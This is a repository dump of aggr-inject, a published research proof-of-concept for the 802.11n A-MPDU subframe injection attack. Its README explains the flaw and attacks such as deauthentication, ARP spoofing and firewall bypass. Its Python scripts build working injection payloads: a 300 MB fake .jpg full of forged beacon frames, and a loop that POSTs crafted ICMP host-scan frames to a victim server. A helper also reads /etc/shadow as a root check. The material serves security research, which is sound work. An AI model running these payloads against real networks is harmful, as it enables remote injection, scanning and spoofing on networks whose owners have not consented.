[
  {
    "path": "LICENSE",
    "content": "Copyright (c) 2015, Pieter Robyns\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n\n    1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n\n    2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
  },
  {
    "path": "README.md",
    "content": "aggr-inject\n===========\n\naggr-inject is a proof-of-concept implementation of the A-MPDU subframe injection attack, which allows an attacker to inject raw Wi-Fi frames into unencrypted networks remotely. The PoC exploits a vulnerability in the 802.11n frame aggregation mechanism and can be performed against almost any modern Wi-Fi chipset, given that the target is connected to an open network. Results from this research were published in a paper and presented at the ACM WiSec 2015 security conference.\n\n\nBackground\n----------\n\nA regular 802.11n Wi-Fi frame looks as follows:\n\n![alt text](https://github.com/rpp0/aggr-inject/blob/master/images/plcp.png \"Regular 802.11n Wi-Fi frame\")\n\nThe 802.11n standard specifies a new MAC frame (MPDU) aggregation mechanism intended to decrease overhead when transmitting multiple frames. In essence, the sender will aggregate multiple MPDUs in a single PHY frame as follows:\n\n![alt text](https://github.com/rpp0/aggr-inject/blob/master/images/ampdu.png \"A-MPDU frame aggregation\")\n\nHere, each subframe is prepended with a delimiter in order to indicate its starting position and length inside the aggregated frame. When the receiver receives the aggregate, the delimiters are removed, and each subframe is deaggregated and forwarded to the kernel for further processing.\n\n\nVulnerability\n-------------\n\nThe deaggregation algorithm specified in the standard is flawed because the MPDU delimiters are transmitted with the same data rate and modulation method as the frame payload. This allows us to create our own subframes (low layer frames) within any higher layer e.g. HTTP, FTP, ICMP, etc. In other words, we can embed a malicious MAC frame including the delimiter inside an outer frame, for example a HTTP frame. When such frames are aggregated, any bit error in the delimiter of the outer frame will cause the receiver to interpret our malicious, inner frame instead!\n\n![alt text](https://github.com/rpp0/aggr-inject/blob/master/images/attack.png \"Packet-in-packet style attack\")\n\nAn example scenario of how an attack could be performed is shown below. Here, the attacker serves a .jpg file containing malicious frames on a web server. When the .jpg is downloaded, the receiver will see the attacker's malicious frames with every occurence of a bit error in the HTTP subframe delimiter.\n\n![alt text](https://github.com/rpp0/aggr-inject/blob/master/images/setup.gif \"Attack scenario\")\n<br/>\n<sup>Thanks to https://github.com/zhovner for creating this animation!</sup>\n\n\nConsequences\n------------\n\nDepending on whether the attacker knows the MAC address of the targeted network's AP, several attacks can be performed using aggr-inject:\n- Deauthenticate clients\n- Inject malicious Beacon frames (e.g. overly long SSID field)\n- Perform a host or port scan\n- Bypass firewall rules\n- ARP spoofing\n- ...\n\nAll of these attacks can be performed remotely and without owning a wireless device, since the deaggregation happens at the final hop and since it does not matter how the packet travels to its destination. \n\n\nPractical proof-of-concept\n--------------------------\n\nIf you want to see the attack in action on your own network, run option 1 of the PoC to generate the image file containing Beacon subframes (300 MB), then upload it to your web server. Finally, download the image **while being connected to an open 802.11n network with frame aggregation enabled**. Then, while downloading, check either Wireshark or your list of discovered networks (usually takes several downloads of the image for it to appear in the list of networks), and you should see a new network named \"injected SSID\" coming from MAC address 00:00:00:00:00:00. The amount of Beacons you see will depend on how fast frames are corrupted on your network and how often your AP performs frame aggregation.\n\n\nDetails\n-------\n\nMore details about the attack can be found in my paper at [this location](https://github.com/rpp0/aggr-inject/blob/master/paper/ampdu_inj_wisec2015.pdf). My presentation can be downloaded [here](https://github.com/rpp0/aggr-inject/blob/master/presentation/wisec2015.pdf).\n\n\nContact\n-------\n\nI'm happy to answer any questions via the Reddit thread concerning this attack (https://www.reddit.com/r/netsec/comments/3bq96e/vulnerability_in_80211n_standard_allows_remote/), Twitter (https://twitter.com/redplusplus) or my e-mail, which you can find at the end of my presentation.\n"
  },
  {
    "path": "aggr-inject.py",
    "content": "#!/usr/bin/env python2\n\nfrom rpyutils import printd, Color, Level, clr, VERBOSITY\nfrom packets import AMPDUPacket, AMSDUPacket, ping_packet, arp_packet, tcp_syn, ssid_packet, probe_response\nimport requests\nimport random\nimport sys\n\n\nclass MaliciousDownload():\n    def __init__(self, package):\n        self.data = str(package)\n\n    def write(self):\n        with open('download.jpg', 'w') as f:\n            for i in range(0, 10000):\n                f.write((\"\\x00\" * random.randint(0, 3)) + str(self.data))\n\n\ndef fuzztf(option1, option2):\n    test = random.randint(0, 1)\n    if test:\n        return option1\n    else:\n        return option2\n\n\ndef main_download():\n    # Malicious download\n    raw_input(\"This will create a 300 MB file download.jpg in the working directory. Press any key to continue or CTRL+C to exit.\")\n    printd(clr(Color.YELLOW, \"Creating malicious download...\"), Level.INFO)\n    container = \"\"\n    for i in range(0, 256):\n        # Containers are (series of) frames to inject into the remote network\n        # Container for scanning hosts on internal network\n        #md_pkt = AMPDUPacket('ff:ff:ff:ff:ff:ff', '4C:5E:0C:9E:82:19', '4C:5E:0C:9E:82:19', 0x02)\n        #md_pkt.add_msdu(ping_packet(i, \"10.0.0.1\", \"192.168.88.249\"))\n        #md_pkt.add_padding(8)\n\n        # Container for a Beacon frame\n        md_pkt = ssid_packet()\n\n        container += str(md_pkt)\n\n    md = MaliciousDownload(container)\n    md.write()\n\n\ndef main():\n    session = requests.Session()\n    count = 1\n    ip_count = 0\n\n    printd(clr(Color.BLUE, \"Building container...\"), Level.INFO)\n    \"\"\" Build container \"\"\"\n    container = ''\n    for i in range(0, 800):\n        count = (count + 1) % 1024\n        ip_count = (ip_count % 255) + 1\n\n        # Ping from attacker --> victim\n        # You need to change the MAC addresses and IPs to match the remote AP\n        ampdu_pkt = AMPDUPacket('ff:ff:ff:ff:ff:ff', '64:D1:A3:3D:26:5B', '64:D1:A3:3D:26:5B', 0x02)\n        ampdu_pkt.add_msdu(ping_packet(count, \"10.0.0.1\", \"192.168.0.\" + str(ip_count)))\n        ampdu_pkt.add_padding(8)\n        container += str(ampdu_pkt)\n\n        # Beacon from attacker --> victim\n        #ampdu_pkt = ssid_packet()\n        #container += str(ampdu_pkt)\n\n        # Ping from victim --> access point\n        #ampdu_pkt = AMPDUPacket('4C:5E:0C:9E:82:19', 'f8:1a:67:1b:14:00', '4C:5E:0C:9E:82:19')\n        #ampdu_pkt.add_msdu(ping_packet(count, \"192.168.88.254\", \"10.0.0.\" + str(ip_count)))\n        #ampdu_pkt.add_padding(8)\n        #container += str(ampdu_pkt)\n    \"\"\" end package \"\"\"\n    printd(clr(Color.BLUE, \"Finished building container! Sending...\"), Level.INFO)\n\n    while 1:\n        print(\".\"),\n        sys.stdout.flush()\n        request_params = {'postpayload': (\"\\x00\" * random.randint(0, 3)) + str(container)}\n        try:\n            session.post(\"http://\" + \"10.0.0.6:80\" + \"/index.html\", files=request_params, timeout=5)\n        except requests.exceptions.ConnectionError:\n            printd(clr(Color.RED, \"Could not connect to host\"), Level.CRITICAL)\n            pass\n        except Exception:\n            printd(clr(Color.RED, \"Another exception\"), Level.CRITICAL)\n            pass\n\nif __name__ == \"__main__\":\n    try:\n        pocnum = raw_input(\"Two PoCs are available. Suggested approach to test the vulnerability is to choose option 1\"\n                           \" and upload the file to your web server. Then, download while connected to an _open_ \"\n                           \"network and observe Wireshark output for MAC 00:00:00:00:00:00 in monitor mode. Waving \"\n                           \"your hand over the antenna of the receiver can speed up the injection rate if you don't \"\n                           \"want to wait too long to see the results.\\n\"\n                           \"\\t1) Generate 300 MB .jpg file containing malicious Beacon frames (pulled by victim).\\n\"\n                           \"\\t2) Connect to victim web server and POST malicious host scanning ICMP frames (push to victim).\\n\"\n                           \"Note: for option 2 you need to change the MAC addresses and IPs in the source to match the remote AP.\\n\"\n                           \"Choice: \")\n        if pocnum == \"1\":\n            main_download()\n        elif pocnum == \"2\":\n            main()\n        else:\n            printd(\"Invalid PoC number.\", Level.CRITICAL)\n    except KeyboardInterrupt:\n        printd(\"\\nExiting...\", Level.INFO)"
  },
  {
    "path": "constants.py",
    "content": "import platform\n\nRUNNING_ON_PI = platform.machine() == 'armv6l'\nDEFAULT_DNS_SERVER = \"8.8.8.8\"\nRSN = \"\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x01\\x28\\x00\"\n\nAP_WLAN_TYPE_OPEN = 0\nAP_WLAN_TYPE_WPA = 1\nAP_WLAN_TYPE_WPA2 = 2\nAP_WLAN_TYPE_WPA_WPA2 = 3\nAP_AUTH_TYPE_OPEN = 0\nAP_AUTH_TYPE_SHARED = 1\nAP_RATES = \"\\x0c\\x12\\x18\\x24\\x30\\x48\\x60\\x6c\"\n\nDOT11_MTU = 4096\n\nDOT11_TYPE_MANAGEMENT = 0\nDOT11_TYPE_CONTROL = 1\nDOT11_TYPE_DATA = 2\n\nDOT11_SUBTYPE_DATA = 0x00\nDOT11_SUBTYPE_PROBE_REQ = 0x04\nDOT11_SUBTYPE_AUTH_REQ = 0x0B\nDOT11_SUBTYPE_ASSOC_REQ = 0x00\nDOT11_SUBTYPE_REASSOC_REQ = 0x02\nDOT11_SUBTYPE_QOS_DATA = 0x28\n\n\nIFNAMSIZ = 16\nIFF_TUN = 0x0001\nIFF_TAP = 0x0002  # Should we want to tunnel layer 2...\nIFF_NO_PI = 0x1000\nTUNSETIFF = 0x400454ca"
  },
  {
    "path": "packets.py",
    "content": "from scapy.all import sr1, sr, srp1, send, sendp, hexdump, ETH_P_IP\nfrom scapy.layers.inet import Raw, Ether, TCP, IP, ICMP, ARP\nfrom scapy.layers.dot11 import Dot11, LLC, SNAP, RadioTap, Dot11Beacon, Dot11Elt, Dot11ProbeResp\nfrom constants import *\nfrom rpyutils import get_frequency, printd, Color, Level, clr, hex_offset_to_string\nimport random\nimport crcmod\nimport struct\nimport time\n\n\n# Configuration\nDEFAULT_SOURCE_IP = '10.0.0.2'\nDEFAULT_DEST_IP = '10.0.0.1'\nDEFAULT_SOURCE_MAC = 'ff:ff:ff:ff:ff:ff'\nDEFAULT_DEST_MAC = 'ff:ff:ff:ff:ff:ff'\nCHANNEL = 1\nMONITOR_INTERFACE = 'mon0'\n\n\n# 802.11 MAC CRC\ndef dot11crc(pkt):\n    crc_fun = crcmod.Crc(0b100000100110000010001110110110111, rev=True, initCrc=0x0, xorOut=0xFFFFFFFF)\n    crc_fun.update(str(pkt))\n    crc = struct.pack('<I', crc_fun.crcValue)\n    return crc\n\n\n# For testing purposes\nclass GarbagePacket():\n    def __init__(self):\n        self.data = None\n\n    def set_delimiter_garbage(self):\n        self.data = '\\x4e' * 1024\n\n    def set_null_garbage(self):\n        self.data = '\\x00' * 1024\n\n    def __str__(self):\n        return str(self.data)\n\n    def dump_to_file(self):\n        with open('ampdu.bin', 'w') as f:\n            printd(clr(Color.YELLOW, \"Dumped garbage packet\"), Level.INFO)\n            f.write(str(self) * 250)\n\n\n# Normal 802.11 frame class\nclass Dot11Packet():\n    def __init__(self, recv_mac, trans_mac, dst_mac):\n        self.rt = RadioTap(len=18, present='Flags+Rate+Channel+dBm_AntSignal+Antenna', notdecoded='\\x00\\x6c' + get_frequency(CHANNEL) + '\\xc0\\x00\\xc0\\x01\\x00\\x00')\n        self.dot11hdr = Dot11(type=\"Data\", subtype=DOT11_SUBTYPE_DATA, addr1=recv_mac, addr2=trans_mac, addr3=dst_mac, SC=0x3060, FCfield=0x01)\n        self.data = self.rt / self.dot11hdr\n        self.recv_mac = recv_mac\n        self.trans_mac = trans_mac\n        self.dst_mac = dst_mac\n\n    def __str__(self):\n        return str(self.data[RadioTap].payload)  # RadioTap information is only useful while sending (in monitor mode).\n\n    def send(self):\n        return sendp(self.data, iface=MONITOR_INTERFACE, verbose=False)\n\n\n# 802.11 frame class with support for adding MSDUs to a single MPDU\nclass AMSDUPacket():\n    def __init__(self, recv_mac, src_mac, dst_mac, ds=0x01):\n        self.rt = RadioTap(len=18, present='Flags+Rate+Channel+dBm_AntSignal+Antenna', notdecoded='\\x00\\x6c' + get_frequency(CHANNEL) + '\\xc0\\x00\\xc0\\x01\\x00\\x00')\n        self.dot11hdr = Dot11(type=\"Data\", subtype=DOT11_SUBTYPE_QOS_DATA, addr1=recv_mac, addr2=src_mac, addr3=dst_mac, SC=0x3060, FCfield=ds) / Raw(\"\\x80\\x00\")\n        self.data = self.rt / self.dot11hdr\n        self.num_subframes = 0\n        self.recv_mac = recv_mac\n        self.src_mac = src_mac\n        self.dst_mac = dst_mac\n\n    def __str__(self):\n        return str(self.data[RadioTap].payload)\n\n    def add_msdu(self, msdu):\n        msdu_len = len(msdu)\n        total_len = msdu_len + 6 + 6 + 2\n        padding = \"\\x00\" * (4 - (total_len % 4))  # Align to 4 octets\n\n        if self.num_subframes > 0:\n            self.data /= padding\n\n        self.data = self.data / Ether(src=self.src_mac, dst=self.recv_mac, type=msdu_len) / msdu\n\n        self.num_subframes += 1\n\n    def send(self):\n        return sendp(self.data, iface=MONITOR_INTERFACE, verbose=False)\n\n\n\"\"\"\nTotal Aggregate (A-MPDU) length; the aggregate length is the number of bytes of\nthe entire aggregate. This length should be computed as:\ndelimiters = start_delim + pad_delim;\nframe_pad = (frame_length % 4) ? (4 - (frame_length % 4)) : 0\nagg_length = sum_of_all (frame_length + frame_pad + 4 * delimiters)\n\"\"\"\n# 802.11 frame class with support for adding multiple MPDUs to a single PHY frame\nclass AMPDUPacket():\n    def __init__(self, recv_mac, src_mac, dst_mac, ds=0x01):\n        self.rt = RadioTap(len=18, present='Flags+Rate+Channel+dBm_AntSignal+Antenna', notdecoded='\\x00\\x6c' + get_frequency(CHANNEL) + '\\xc0\\x00\\xc0\\x01\\x00\\x00')\n        self.dot11hdr = Dot11(type=\"Data\", subtype=DOT11_SUBTYPE_QOS_DATA, addr1=recv_mac, addr2=src_mac, addr3=dst_mac, SC=0x3060, FCfield=ds) / Raw(\"\\x00\\x00\")\n        self.data = self.rt\n        self.num_subframes = 0\n        self.recv_mac = recv_mac\n        self.src_mac = src_mac\n        self.dst_mac = dst_mac\n\n    def __str__(self):\n        return str(self.data[RadioTap].payload)\n\n    # Higher layer packet\n    def add_msdu(self, msdu, msdu_len=-1):\n        # Default msdu len\n        if msdu_len == -1:\n            msdu_len = len(msdu)\n\n        mpdu_len = msdu_len + len(self.dot11hdr) + 4  # msdu + mac80211 + FCS\n\n        if mpdu_len % 4 != 0:\n            padding = \"\\x00\" * (4 - (mpdu_len % 4))  # Align to 4 octets\n        else:\n            padding = \"\"\n        mpdu_len <<= 4\n        crc_fun = crcmod.mkCrcFun(0b100000111, rev=True, initCrc=0x00, xorOut=0xFF)\n\n        crc = crc_fun(struct.pack('<H', mpdu_len))\n        maccrc = dot11crc(str(self.dot11hdr / msdu))\n        delim_sig = 0x4E\n\n        #print('a-mpdu: len %d crc %02x delim %02x' % (mpdu_len >> 4, crc, delim_sig))\n        #hexdump(maccrc)\n        ampdu_header = struct.pack('<HBB', mpdu_len, crc, delim_sig)\n        #hexdump(ampdu_header)\n\n        self.data = self.data / ampdu_header / self.dot11hdr / msdu / maccrc / padding\n\n        self.num_subframes += 1\n\n    def add_padding(self, times):  # Add padding delimiter\n        for i in range(0, times):\n            self.data /= \"\\x00\\x00\\x20\\x4e\"\n\n    def add_padding_bogus(self, times):  # Add bogus padding\n        for i in range(0, times):\n            self.data /= \"\\xff\\xff\\xff\\xff\"\n\n    def send(self):\n        return sendp(self.data, iface=MONITOR_INTERFACE, verbose=False)\n\n    def dump_to_file(self):\n        with open('ampdu.bin', 'w') as f:\n            for i in range(0, 1024):\n                f.write(str(self))  # Try to shift position so our payload will land on correct offset\n\n\n# ICMP Echo Request packet\ndef ping_packet(seq=0, src=DEFAULT_SOURCE_IP, dst=DEFAULT_DEST_IP, length=-1):\n    icmp_packet = ICMP(seq=seq, type=8, code=0) / \"XXXXXX\"\n    icmp_packet = ICMP(icmp_packet.do_build())  # Force checksum calculation\n\n    icmp_length = length\n    if length == -1:\n        icmp_length = len(icmp_packet)\n\n    ping = LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) \\\n               / SNAP(OUI=0x000000, code=ETH_P_IP) \\\n               / IP(src=src, dst=dst, len=(20 + icmp_length)) \\\n               / icmp_packet\n\n    return ping\n\n\n# ARP packet\ndef arp_packet(hwsrc, psrc, hwdst, pdst):\n    arp_packet = ARP(hwsrc=hwsrc, psrc=psrc, hwdst=hwdst, pdst=pdst, op=1)\n    arp = LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) \\\n               / SNAP(OUI=0x000000, code=0x0806) \\\n               / arp_packet\n\n    return arp\n\n\n# TCP syn packet\ndef tcp_syn(src_ip, dst_ip, port):\n    tcp_syn_p = TCP(dport=port, flags=\"S\", window=29200, seq=random.randint(0, 100000), sport=random.randint(40000, 60000), options=[('MSS', 1460), ('SAckOK', ''), ('Timestamp', (147229543, 0)), ('NOP', None), ('WScale', 7)])\n\n    syn = LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) \\\n               / SNAP(OUI=0x000000, code=ETH_P_IP) \\\n               / IP(src=src_ip, dst=dst_ip, flags=0x02, tos=0x10, len=(20 + len(tcp_syn_p))) \\\n               / tcp_syn_p\n    syn = LLC(str(syn))\n\n    #syn.show()\n\n    return syn\n\n\n# 802.11 Beacon frame\n# TODO: Fix me; duplicate code\ndef ssid_packet():\n    ap_mac = '00:00:00:00:00:00'\n    rt = RadioTap(len=18, present='Flags+Rate+Channel+dBm_AntSignal+Antenna', notdecoded='\\x00\\x6c' + get_frequency(CHANNEL) + '\\xc0\\x00\\xc0\\x01\\x00\\x00')\n    beacon_packet = Dot11(subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=ap_mac, addr3=ap_mac) \\\n                 / Dot11Beacon(cap=0x2105)                                                           \\\n                 / Dot11Elt(ID='SSID', info=\"injected SSID\")                                         \\\n                 / Dot11Elt(ID='Rates', info=AP_RATES)                                               \\\n                 / Dot11Elt(ID='DSset', info=chr(CHANNEL))\n\n    # Update sequence number\n    beacon_packet.SC = 0x3060\n\n    # Update timestamp\n    beacon_packet[Dot11Beacon].timestamp = time.time()\n\n    mpdu_len = len(beacon_packet) + 4\n\n    if mpdu_len % 4 != 0:\n        padding = \"\\x00\" * (4 - (mpdu_len % 4))  # Align to 4 octets\n    else:\n        padding = \"\"\n    mpdu_len <<= 4\n    crc_fun = crcmod.mkCrcFun(0b100000111, rev=True, initCrc=0x00, xorOut=0xFF)\n\n    crc = crc_fun(struct.pack('<H', mpdu_len))\n    maccrc = dot11crc(str(beacon_packet))\n    delim_sig = 0x4E\n\n    #print('a-mpdu: len %d crc %02x delim %02x' % (mpdu_len >> 4, crc, delim_sig))\n    #hexdump(maccrc)\n    ampdu_header = struct.pack('<HBB', mpdu_len, crc, delim_sig)\n    #hexdump(ampdu_header)\n\n    data = ampdu_header / beacon_packet / maccrc / padding\n    data /= \"\\x00\\x00\\x20\\x4e\" * 8\n    data = str(data)\n\n    return data\n\n\n# 802.11 Probe Response\n# TODO: Fix me; duplicate code\ndef probe_response():\n    rt = RadioTap(len=18, present='Flags+Rate+Channel+dBm_AntSignal+Antenna', notdecoded='\\x00\\x6c' + get_frequency(CHANNEL) + '\\xc0\\x00\\xc0\\x01\\x00\\x00')\n    beacon_packet = Dot11(subtype=5, addr1='ff:ff:ff:ff:ff:ff', addr2=\"be:da:de:ad:be:ef\", addr3=\"be:da:de:ad:be:ef\", SC=0x3060) \\\n                    / Dot11ProbeResp(timestamp=time.time(), beacon_interval=0x0064, cap=0x2104) \\\n                    / Dot11Elt(ID='SSID', info=\"injected SSID\") \\\n                    / Dot11Elt(ID='Rates', info=AP_RATES) \\\n                    / Dot11Elt(ID='DSset', info=chr(1))\n\n    # Update sequence number\n    beacon_packet.SC = 0x3060\n\n    mpdu_len = len(beacon_packet) + 4\n\n    if mpdu_len % 4 != 0:\n        padding = \"\\x00\" * (4 - (mpdu_len % 4))  # Align to 4 octets\n    else:\n        padding = \"\"\n    mpdu_len <<= 4\n    crc_fun = crcmod.mkCrcFun(0b100000111, rev=True, initCrc=0x00, xorOut=0xFF)\n\n    crc = crc_fun(struct.pack('<H', mpdu_len))\n    maccrc = dot11crc(str(beacon_packet))\n    delim_sig = 0x4E\n\n    #print('a-mpdu: len %d crc %02x delim %02x' % (mpdu_len >> 4, crc, delim_sig))\n    #hexdump(maccrc)\n    ampdu_header = struct.pack('<HBB', mpdu_len, crc, delim_sig)\n    #hexdump(ampdu_header)\n\n    data = ampdu_header / beacon_packet / maccrc / padding\n    data /= \"\\x00\\x00\\x20\\x4e\" * 8\n    data = str(data)\n\n    return data\n"
  },
  {
    "path": "rpyutils.py",
    "content": "import subprocess\nimport re\nimport os\nimport struct\nfrom scapy.arch import str2mac, get_if_raw_hwaddr\n\n\nclass Level:\n    CRITICAL = 0\n    WARNING = 1\n    INFO = 2\n    DEBUG = 3\n    BLOAT = 4\n\nVERBOSITY = Level.INFO\n\n\nclass Color:\n    GREY = '\\x1b[1;37m'\n    GREEN = '\\x1b[1;32m'\n    BLUE = '\\x1b[1;34m'\n    YELLOW = '\\x1b[1;33m'\n    RED = '\\x1b[1;31m'\n    MAGENTA = '\\x1b[1;35m'\n    CYAN = '\\x1b[1;36m'\n\n\ndef clr(color, text):\n    return color + str(text) + '\\x1b[0m'\n\n\ndef check_root():\n    if not os.geteuid() == 0:\n        printd(clr(Color.RED, \"Run as root.\"), Level.CRITICAL)\n        exit(1)\n\n\ndef check_root_shadow():\n    dev_null = open(os.devnull, 'w')\n\n    try:\n        subprocess.check_output(['cat', '/etc/shadow'], stderr=dev_null)\n    except subprocess.CalledProcessError:\n        printd(clr(Color.RED, \"Run as root.\"), Level.CRITICAL)\n        exit(1)\n\n\ndef set_monitor_mode(wlan_dev, enable=True):\n    monitor_dev = None\n    if enable:\n        result = subprocess.check_output(['airmon-ng', 'start', wlan_dev])\n        if not \"monitor mode enabled on\" in result:\n            printd(clr(Color.RED, \"ERROR: Airmon could not enable monitor mode on device %s. Make sure you are root, and that\" \\\n                                       \"your wlan card supports monitor mode.\" % wlan_dev), Level.CRITICAL)\n            exit(1)\n        monitor_dev = re.search(r\"monitor mode enabled on (\\w+)\", result).group(1)\n\n        printd(\"Airmon set %s to monitor mode on %s\" % (wlan_dev, monitor_dev), Level.INFO)\n    else:\n        subprocess.check_output(['airmon-ng', 'stop', wlan_dev])\n\n    return monitor_dev\n\n\ndef set_ip_address(dev, ip):\n    if subprocess.call(['ip', 'addr', 'add', ip, 'dev', dev]):\n        printd(\"Failed to assign IP address %s to %s.\" % (ip, dev), Level.CRITICAL)\n\n    if subprocess.call(['ip', 'link', 'set', 'dev', dev, 'up']):\n        printd(\"Failed to bring device %s up.\" % dev, Level.CRITICAL)\n\n\ndef clear_ip_tables():\n    if subprocess.call(['iptables', '--flush']):\n        printd(\"Failed to flush iptables.\", Level.CRITICAL)\n    if subprocess.call(['iptables', '--table', 'nat', '--flush']):\n        printd(\"Failed to flush iptables NAT.\", Level.CRITICAL)\n    if subprocess.call(['iptables', '--delete-chain']):\n        printd(\"Failed to delete iptables chain.\", Level.CRITICAL)\n    if subprocess.call(['iptables', '--table', 'nat', '--delete-chain']):\n        printd(\"Failed to delete iptables NAT chain.\", Level.CRITICAL)\n\n\ndef printd(string, level):\n    if VERBOSITY >= level:\n        print(string)\n\n\ndef hex_offset_to_string(byte_array):\n    temp = byte_array.replace(\"\\n\", \"\")\n    temp = temp.replace(\" \", \"\")\n    return temp.decode(\"hex\")\n\n\ndef get_frequency(channel):\n    if channel == 14:\n        freq = 2484\n    else:\n        freq = 2407 + (channel * 5)\n\n    freq_string = struct.pack(\"<h\", freq)\n\n    return freq_string\n\n\ndef mac_to_bytes(mac):\n    return ''.join(chr(int(x, 16)) for x in mac.split(':'))\n\n\ndef bytes_to_mac(byte_array):\n    return ':'.join(\"{:02x}\".format(ord(byte)) for byte in byte_array)\n\n\n# Scapy sees mon0 interface as invalid address family, so we write our own\ndef if_hwaddr(iff):\n    return str2mac(get_if_raw_hwaddr(iff)[1])\n\n\ndef set_debug_level(lvl):\n    global VERBOSITY\n    VERBOSITY = lvl"
  }
]